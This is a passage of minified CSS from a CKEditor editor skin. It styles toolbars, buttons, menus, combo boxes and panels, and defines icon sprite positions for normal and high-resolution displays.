2px}.cke_panel_grouptitle{cursor:default;font-size:11px;font-weight:bold;white-space:nowrap;margin:0;padding:4px 6px;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.75);border-bottom:1px solid #b6b6b6;-moz-border-radius:2px 2px 0 0;-webkit-border-radius:2px 2px 0 0;border-radius:2px 2px 0 0;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_panel_listItem p,.cke_panel_listItem h1,.cke_panel_listItem h2,.cke_panel_listItem h3,.cke_panel_listItem h4,.cke_panel_listItem h5,.cke_panel_listItem h6,.cke_panel_listItem pre{margin-top:0;margin-bottom:0}.cke_colorblock{padding:3px;font-size:11px;font-family:'Microsoft Sans Serif',Tahoma,Arial,Verdana,Sans-Serif}.cke_colorblock,.cke_colorblock a{text-decoration:none;color:#000}span.cke_colorbox{width:10px;height:10px;border:#808080 1px solid;float:left}.cke_rtl span.cke_colorbox{float:right}a.cke_colorbox{border:#fff 1px solid;padding:2px;float:left;width:12px;height:12px}.cke_rtl a.cke_colorbox{float:right}a:hover.cke_colorbox,a:focus.cke_colorbox,a:active.cke_colorbox{border:#b6b6b6 1px solid;background-color:#e5e5e5}a.cke_colorauto,a.cke_colormore{border:#fff 1px solid;padding:2px;display:block;cursor:pointer}a:hover.cke_colorauto,a:hover.cke_colormore,a:focus.cke_colorauto,a:focus.cke_colormore,a:active.cke_colorauto,a:active.cke_colormore{border:#b6b6b6 1px solid;background-color:#e5e5e5}.cke_toolbar{float:left}.cke_rtl .cke_toolbar{float:right}.cke_toolgroup{float:left;margin:0 6px 5px 0;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_hc .cke_toolgroup{border:0;margin-right:10px;margin-bottom:10px}.cke_rtl .cke_toolgroup{float:right;margin-left:6px;margin-right:0}a.cke_button{display:inline-block;height:18px;padding:4px 6px;outline:0;cursor:default;float:left;border:0}.cke_ltr .cke_button:last-child,.cke_rtl .cke_button:first-child{-moz-border-radius:0 2px 2px 0;-webkit-border-radius:0 2px 2px 0;border-radius:0 2px 2px 0}.cke_ltr .cke_button:first-child,.cke_rtl .cke_button:last-child{-moz-border-radius:2px 0 0 2px;-webkit-border-radius:2px 0 0 2px;border-radius:2px 0 0 2px}.cke_rtl .cke_button{float:right}.cke_hc .cke_button{border:1px solid black;padding:3px 5px;margin:-2px 4px 0 -2px}.cke_button_on{-moz-box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);background:#b5b5b5;background-image:-webkit-gradient(linear,left top,left bottom,from(#aaa),to(#cacaca));background-image:-moz-linear-gradient(top,#aaa,#cacaca);background-image:-webkit-linear-gradient(top,#aaa,#cacaca);background-image:-o-linear-gradient(top,#aaa,#cacaca);background-image:-ms-linear-gradient(top,#aaa,#cacaca);background-image:linear-gradient(top,#aaa,#cacaca);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#aaaaaa',endColorstr='#cacaca')}.cke_hc .cke_button_on,.cke_hc a.cke_button_off:hover,.cke_hc a.cke_button_off:focus,.cke_hc a.cke_button_off:active,.cke_hc a.cke_button_disabled:hover,.cke_hc a.cke_button_disabled:focus,.cke_hc a.cke_button_disabled:active{border-width:3px;padding:1px 3px}.cke_button_disabled .cke_button_icon{opacity:.3}.cke_hc .cke_button_disabled{opacity:.5}a.cke_button_on:hover,a.cke_button_on:focus,a.cke_button_on:active{-moz-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2)}a.cke_button_off:hover,a.cke_button_off:focus,a.cke_button_off:active,a.cke_button_disabled:hover,a.cke_button_disabled:focus,a.cke_button_disabled:active{-moz-box-shadow:0 0 1px rgba(0,0,0,.3) inset;-webkit-box-shadow:0 0 1px rgba(0,0,0,.3) inset;box-shadow:0 0 1px rgba(0,0,0,.3) inset;background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}.cke_button_icon{cursor:inherit;background-repeat:no-repeat;margin-top:1px;width:16px;height:16px;float:left;display:inline-block}.cke_rtl .cke_button_icon{float:right}.cke_hc .cke_button_icon{display:none}.cke_button_label{display:none;padding-left:3px;margin-top:1px;line-height:17px;vertical-align:middle;float:left;cursor:default;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.5)}.cke_rtl .cke_button_label{padding-right:3px;padding-left:0;float:right}.cke_hc .cke_button_label{padding:0;display:inline-block;font-size:12px}.cke_button_arrow{display:inline-block;margin:8px 0 0 1px;width:0;height:0;cursor:default;vertical-align:top;border-left:3px solid transparent;border-right:3px solid transparent;border-top:3px solid #474747}.cke_rtl .cke_button_arrow{margin-right:5px;margin-left:0}.cke_hc .cke_button_arrow{font-size:10px;margin:3px -2px 0 3px;width:auto;border:0}.cke_toolbar_separator{float:left;background-color:#c0c0c0;background-color:rgba(0,0,0,.2);margin:5px 2px 0;height:18px;width:1px;-webkit-box-shadow:1px 0 1px rgba(255,255,255,.5);-moz-box-shadow:1px 0 1px rgba(255,255,255,.5);box-shadow:1px 0 1px rgba(255,255,255,.5)}.cke_rtl .cke_toolbar_separator{float:right;-webkit-box-shadow:-1px 0 1px rgba(255,255,255,.1);-moz-box-shadow:-1px 0 1px rgba(255,255,255,.1);box-shadow:-1px 0 1px rgba(255,255,255,.1)}.cke_hc .cke_toolbar_separator{width:0;border-left:1px solid;margin:1px 5px 0 0}.cke_toolbar_break{display:block;clear:left}.cke_rtl .cke_toolbar_break{clear:right}.cke_toolbox_collapser{width:12px;height:11px;float:right;margin:11px 0 0;font-size:0;cursor:default;text-align:center;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_toolbox_collapser:hover{background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}.cke_toolbox_collapser.cke_toolbox_collapser_min{margin:0 2px 4px}.cke_rtl .cke_toolbox_collapser{float:left}.cke_toolbox_collapser .cke_arrow{display:inline-block;height:0;width:0;font-size:0;margin-top:1px;border-left:3px solid transparent;border-right:3px solid transparent;border-bottom:3px solid #474747;border-top:3px solid transparent}.cke_toolbox_collapser.cke_toolbox_collapser_min .cke_arrow{margin-top:4px;border-bottom-color:transparent;border-top-color:#474747}.cke_hc .cke_toolbox_collapser .cke_arrow{font-size:8px;width:auto;border:0;margin-top:0;margin-right:2px}.cke_menubutton{display:block}.cke_menuitem span{cursor:default}.cke_menubutton:hover,.cke_menubutton:focus,.cke_menubutton:active{background-color:#d3d3d3;display:block}.cke_hc .cke_menubutton{padding:2px}.cke_hc .cke_menubutton:hover,.cke_hc .cke_menubutton:focus,.cke_hc .cke_menubutton:active{border:2px solid;padding:0}.cke_menubutton_inner{display:table-row}.cke_menubutton_icon,.cke_menubutton_label,.cke_menuarrow{display:table-cell}.cke_menubutton_icon{background-color:#d7d8d7;opacity:.70;filter:alpha(opacity=70);padding:4px}.cke_hc .cke_menubutton_icon{height:16px;width:0;padding:4px 0}.cke_menubutton:hover .cke_menubutton_icon,.cke_menubutton:focus .cke_menubutton_icon,.cke_menubutton:active .cke_menubutton_icon{background-color:#d0d2d0}.cke_menubutton_disabled:hover .cke_menubutton_icon,.cke_menubutton_disabled:focus .cke_menubutton_icon,.cke_menubutton_disabled:active .cke_menubutton_icon{opacity:.3;filter:alpha(opacity=30)}.cke_menubutton_label{padding:0 5px;background-color:transparent;width:100%;vertical-align:middle}.cke_menubutton_disabled .cke_menubutton_label{opacity:.3;filter:alpha(opacity=30)}.cke_menubutton_on{border:1px solid #dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_menubutton_on .cke_menubutton_icon{padding-right:3px}.cke_menubutton:hover,.cke_menubutton:focus,.cke_menubutton:active{background-color:#eff0ef}.cke_panel_frame .cke_menubutton_label{display:none}.cke_menuseparator{background-color:#d3d3d3;height:1px;filter:alpha(opacity=70);opacity:.70}.cke_menuarrow{background-image:url(images/arrow.png);background-position:0 10px;background-repeat:no-repeat;padding:0 5px}.cke_rtl .cke_menuarrow{background-position:5px -13px;background-repeat:no-repeat}.cke_menuarrow span{display:none}.cke_hc .cke_menuarrow span{vertical-align:middle;display:inline}.cke_combo{display:inline-block;float:left}.cke_rtl .cke_combo{float:right}.cke_hc .cke_combo{margin-top:-2px}.cke_combo_label{display:none;float:left;line-height:26px;vertical-align:top;margin-right:5px}.cke_rtl .cke_combo_label{float:right;margin-left:5px;margin-right:0}.cke_combo_button{cursor:default;display:inline-block;float:left;margin:0 6px 5px 0;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_combo_off a.cke_combo_button:hover,.cke_combo_off a.cke_combo_button:focus{background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc');outline:0}.cke_combo_off a.cke_combo_button:active,.cke_combo_on a.cke_combo_button{border:1px solid #777;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;background:#b5b5b5;background-image:-webkit-gradient(linear,left top,left bottom,from(#aaa),to(#cacaca));background-image:-moz-linear-gradient(top,#aaa,#cacaca);background-image:-webkit-linear-gradient(top,#aaa,#cacaca);background-image:-o-linear-gradient(top,#aaa,#cacaca);background-image:-ms-linear-gradient(top,#aaa,#cacaca);background-image:linear-gradient(top,#aaa,#cacaca);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#aaaaaa',endColorstr='#cacaca')}.cke_combo_on a.cke_combo_button:hover,.cke_combo_on a.cke_combo_button:focus,.cke_combo_on a.cke_combo_button:active{-moz-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2)}.cke_rtl .cke_combo_button{float:right;margin-left:5px;margin-right:0}.cke_hc a.cke_combo_button{padding:3px}.cke_hc .cke_combo_on a.cke_combo_button,.cke_hc .cke_combo_off a.cke_combo_button:hover,.cke_hc .cke_combo_off a.cke_combo_button:focus,.cke_hc .cke_combo_off a.cke_combo_button:active{border-width:3px;padding:1px}.cke_combo_text{line-height:26px;padding-left:10px;text-overflow:ellipsis;overflow:hidden;float:left;cursor:default;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.5);width:60px}.cke_rtl .cke_combo_text{float:right;text-align:right;padding-left:0;padding-right:10px}.cke_hc .cke_combo_text{line-height:18px;font-size:12px}.cke_combo_open{cursor:default;display:inline-block;font-size:0;height:19px;line-height:17px;margin:1px 7px 1px;width:5px}.cke_hc .cke_combo_open{height:12px}.cke_combo_arrow{cursor:default;margin:11px 0 0;float:left;height:0;width:0;font-size:0;border-left:3px solid transparent;border-right:3px solid transparent;border-top:3px solid #474747}.cke_hc .cke_combo_arrow{font-size:10px;width:auto;border:0;margin-top:3px}.cke_combo_disabled .cke_combo_inlinelabel,.cke_combo_disabled .cke_combo_open{opacity:.3}.cke_path{float:left;margin:-2px 0 2px}.cke_path_item,.cke_path_empty{display:inline-block;float:left;padding:3px 4px;margin-right:2px;cursor:default;text-decoration:none;outline:0;border:0;color:#4c4c4c;text-shadow:0 1px 0 #fff;font-weight:bold;font-size:11px}.cke_rtl .cke_path,.cke_rtl .cke_path_item,.cke_rtl .cke_path_empty{float:right}a.cke_path_item:hover,a.cke_path_item:focus,a.cke_path_item:active{background-color:#bfbfbf;color:#333;text-shadow:0 1px 0 rgba(255,255,255,.5);-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-moz-box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5);-webkit-box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5);box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5)}.cke_hc a.cke_path_item:hover,.cke_hc a.cke_path_item:focus,.cke_hc a.cke_path_item:active{border:2px solid;padding:1px 2px}.cke_button__source_label,.cke_button__sourcedialog_label{display:inline}.cke_combo__fontsize .cke_combo_text{width:30px}.cke_combopanel__fontsize{width:120px}.cke_source{font-family:'Courier New',Monospace;font-size:small;background-color:#fff;white-space:pre}.cke_wysiwyg_frame,.cke_wysiwyg_div{background-color:#fff}.cke_chrome{visibility:inherit}.cke_voice_label{display:none}legend.cke_voice_label{display:none}.cke_bottom{padding-bottom:3px}.cke_combo_text{margin-bottom:-1px;margin-top:1px}.cke_button__bold_icon {background: url(icons.png) no-repeat 0 -0px !important;}.cke_button__italic_icon {background: url(icons.png) no-repeat 0 -24px !important;}.cke_button__strike_icon {background: url(icons.png) no-repeat 0 -48px !important;}.cke_button__subscript_icon {background: url(icons.png) no-repeat 0 -72px !important;}.cke_button__superscript_icon {background: url(icons.png) no-repeat 0 -96px !important;}.cke_button__underline_icon {background: url(icons.png) no-repeat 0 -120px !important;}.cke_button__blockquote_icon {background: url(icons.png) no-repeat 0 -144px !important;}.cke_rtl .cke_button__copy_icon, .cke_mixed_dir_content .cke_rtl .cke_button__copy_icon {background: url(icons.png) no-repeat 0 -168px !important;}.cke_ltr .cke_button__copy_icon {background: url(icons.png) no-repeat 0 -192px !important;}.cke_rtl .cke_button__cut_icon, .cke_mixed_dir_content .cke_rtl .cke_button__cut_icon {background: url(icons.png) no-repeat 0 -216px !important;}.cke_ltr .cke_button__cut_icon {background: url(icons.png) no-repeat 0 -240px !important;}.cke_rtl .cke_button__paste_icon, .cke_mixed_dir_content .cke_rtl .cke_button__paste_icon {background: url(icons.png) no-repeat 0 -264px !important;}.cke_ltr .cke_button__paste_icon {background: url(icons.png) no-repeat 0 -288px !important;}.cke_button__bgcolor_icon {background: url(icons.png) no-repeat 0 -312px !important;}.cke_button__textcolor_icon {background: url(icons.png) no-repeat 0 -336px !important;}.cke_button__horizontalrule_icon {background: url(icons.png) no-repeat 0 -360px !important;}.cke_button__image_icon {background: url(icons.png) no-repeat 0 -384px !important;}.cke_rtl .cke_button__indent_icon, .cke_mixed_dir_content .cke_rtl .cke_button__indent_icon {background: url(icons.png) no-repeat 0 -408px !important;}.cke_ltr .cke_button__indent_icon {background: url(icons.png) no-repeat 0 -432px !important;}.cke_rtl .cke_button__outdent_icon, .cke_mixed_dir_content .cke_rtl .cke_button__outdent_icon {background: url(icons.png) no-repeat 0 -456px !important;}.cke_ltr .cke_button__outdent_icon {background: url(icons.png) no-repeat 0 -480px !important;}.cke_button__justifyblock_icon {background: url(icons.png) no-repeat 0 -504px !important;}.cke_button__justifycenter_icon {background: url(icons.png) no-repeat 0 -528px !important;}.cke_button__justifyleft_icon {background: url(icons.png) no-repeat 0 -552px !important;}.cke_button__justifyright_icon {background: url(icons.png) no-repeat 0 -576px !important;}.cke_rtl .cke_button__anchor_icon, .cke_mixed_dir_content .cke_rtl .cke_button__anchor_icon {background: url(icons.png) no-repeat 0 -600px !important;}.cke_ltr .cke_button__anchor_icon {background: url(icons.png) no-repeat 0 -624px !important;}.cke_button__link_icon {background: url(icons.png) no-repeat 0 -648px !important;}.cke_button__unlink_icon {background: url(icons.png) no-repeat 0 -672px !important;}.cke_rtl .cke_button__bulletedlist_icon, .cke_mixed_dir_content .cke_rtl .cke_button__bulletedlist_icon {background: url(icons.png) no-repeat 0 -696px !important;}.cke_ltr .cke_button__bulletedlist_icon {background: url(icons.png) no-repeat 0 -720px !important;}.cke_rtl .cke_button__numberedlist_icon, .cke_mixed_dir_content .cke_rtl .cke_button__numberedlist_icon {background: url(icons.png) no-repeat 0 -744px !important;}.cke_ltr .cke_button__numberedlist_icon {background: url(icons.png) no-repeat 0 -768px !important;}.cke_button__maximize_icon {background: url(icons.png) no-repeat 0 -792px !important;}.cke_rtl .cke_button__pastefromword_icon, .cke_mixed_dir_content .cke_rtl .cke_button__pastefromword_icon {background: url(icons.png) no-repeat 0 -816px !important;}.cke_ltr .cke_button__pastefromword_icon {background: url(icons.png) no-repeat 0 -840px !important;}.cke_rtl .cke_button__pastetext_icon, .cke_mixed_dir_content .cke_rtl .cke_button__pastetext_icon {background: url(icons.png) no-repeat 0 -864px !important;}.cke_ltr .cke_button__pastetext_icon {background: url(icons.png) no-repeat 0 -888px !important;}.cke_button__removeformat_icon {background: url(icons.png) no-repeat 0 -912px !important;}.cke_rtl .cke_button__source_icon, .cke_mixed_dir_content .cke_rtl .cke_button__source_icon {background: url(icons.png) no-repeat 0 -936px !important;}.cke_ltr .cke_button__source_icon {background: url(icons.png) no-repeat 0 -960px !important;}.cke_button__table_icon {background: url(icons.png) no-repeat 0 -984px !important;}.cke_rtl .cke_button__redo_icon, .cke_mixed_dir_content .cke_rtl .cke_button__redo_icon {background: url(icons.png) no-repeat 0 -1008px !important;}.cke_ltr .cke_button__redo_icon {background: url(icons.png) no-repeat 0 -1032px !important;}.cke_rtl .cke_button__undo_icon, .cke_mixed_dir_content .cke_rtl .cke_button__undo_icon {background: url(icons.png) no-repeat 0 -1056px !important;}.cke_ltr .cke_button__undo_icon {background: url(icons.png) no-repeat 0 -1080px !important;}.cke_rtl .cke_button__sourcedialog_icon, .cke_mixed_dir_content .cke_rtl .cke_button__sourcedialog_icon {background: url(icons.png) no-repeat 0 -1104px !important;}.cke_ltr .cke_button__sourcedialog_icon {background: url(icons.png) no-repeat 0 -1128px !important;}.cke_hidpi .cke_button__bold_icon {background: url(icons_hidpi.png) no-repeat 0 -0px !important;background-size: 16px !important;}.cke_hidpi .cke_button__italic_icon {background: url(icons_hidpi.png) no-repeat 0 -24px !important;background-size: 16px !important;}.cke_hidpi .cke_button__strike_icon {background: url(icons_hidpi.png) no-repeat 0 -48px !important;background-size: 16px !important;}.cke_hidpi .cke_button__subscript_icon {background: url(icons_hidpi.png) no-repeat 0 -72px !important;background-size: 16px !important;}.cke_hidpi .cke_button__superscript_icon {background: url(icons_hidpi.png) no-repeat 0 -96px !important;background-size: 16px !important;}.cke_hidpi .cke_button__underline_icon {background: url(icons_hidpi.png) no-repeat 0 -120px !important;background-size: 16px !important;}.cke_hidpi .cke_button__blockquote_icon {background: url(icons_hidpi.png) no-repeat 0 -144px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__copy_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__copy_icon {background: url(icons_hidpi.png) no-repeat 0 -168px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__copy_icon,.cke_ltr.cke_hidpi .cke_button__copy_icon {background: url(icons_hidpi.png) no-repeat 0 -192px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__cut_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__cut_icon {background: url(icons_hidpi.png) no-repeat 0 -216px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__cut_icon,.cke_ltr.cke_hidpi .cke_button__cut_icon {background: url(icons_hidpi.png) no-repeat 0 -240px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__paste_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__paste_icon {background: url(icons_hidpi.png) no-repeat 0 -264px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__paste_icon,.cke_ltr.cke_hidpi .cke_button__paste_icon {background: url(icons_hidpi.png) no-repeat 0 -288px !important;background-size: 16px !important;}.cke_hidpi .cke_button__bgcolor_icon {background: url(icons_hidpi.png) no-repeat 0 -312px !important;background-size: 16px !important;}.cke_hidpi .cke_button__textcolor_icon {background: url(icons_hidpi.png) no-repeat 0 -336px !important;background-size: 16px !important;}.cke_hidpi .cke_button__horizontalrule_icon {background: url(icons_hidpi.png) no-repeat 0 -360px !important;background-size: 16px !important;}.cke_hidpi .cke_button__image_icon {background: url(icons_hidpi.png) no-repeat 0 -384px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__indent_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__indent_icon {background: url(icons_hidpi.png) no-repeat 0 -408px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__indent_icon,.cke_ltr.cke_hidpi .cke_button__indent_icon {background: url(icons_hidpi.png) no-repeat 0 -432px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__outdent_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__outdent_icon {background: url(icons_hidpi.png) no-repeat 0 -456px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__outdent_icon,.cke_ltr.cke_hidpi .cke_button__outdent_icon {background: url(icons_hidpi.png) no-repeat 0 -480px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyblock_icon {background: url(icons_hidpi.png) no-repeat 0 -504px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifycenter_icon {background: url(icons_hidpi.png) no-repeat 0 -528px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyleft_icon {background: url(icons_hidpi.png) no-repeat 0 -552px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyright_icon {background: url(icons_hidpi.png) no-repeat 0 -576px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__anchor_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__anchor_icon {background: url(icons_hidpi.png) no-repeat 0 -600px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__anchor_icon,.cke_ltr.cke_hidpi .cke_button__anchor_icon {background: url(icons_hidpi.png) no-repeat 0 -624px !important;background-size: 16px !important;}.cke_hidpi .cke_button__link_icon {background: url(icons_hidpi.png) no-repeat 0 -648px !important;background-size: 16px !important;}.cke_hidpi .cke_button__unlink_icon {background: url(icons_hidpi.png) no-repeat 0 -672px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__bulletedlist_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__bulletedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -696px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__bulletedlist_icon,.cke_ltr.cke_hidpi .cke_button__bulletedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -720px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__numberedlist_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__numberedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -744px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__numberedlist_icon,.cke_ltr.cke_hidpi .cke_button__numberedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -768px !important;background-size: 16px !important;}.cke_hidpi .cke_button__maximize_icon {background: url(icons_hidpi.png) no-repeat 0 -792px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__pastefromword_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__pastefromword_icon {background: url(icons_hidpi.png) no-repeat 0 -816px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__pastefromword_icon,.cke_ltr.cke_hidpi .cke_button__pastefromword_icon {background: url(icons_hidpi.png) no-repeat 0 -840px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__pastetext_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__pastetext_icon {background: url(icons_hidpi.png) no-repeat 0 -864px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__pastetext_icon,.cke_ltr.cke_hidpi .cke_button__pastetext_icon {background: url(icons_hidpi.png) no-repeat 0 -888px !important;background-size: 16px !important;}.cke_hidpi .cke_button__removeformat_icon {background: url(icons_hidpi.png) no-repeat 0 -912px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__source_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__source_icon {background: url(icons_hidpi.png) no-repeat 0 -936px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__source_icon,.cke_ltr.cke_hidpi .cke_button__source_icon {background: url(icons_hidpi.png) no-repeat 0 -960px !important;background-size: 16px !important;}.cke_hidpi .cke_button__table_icon {background: url(icons_hidpi.png) no-repeat 0 -984px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi 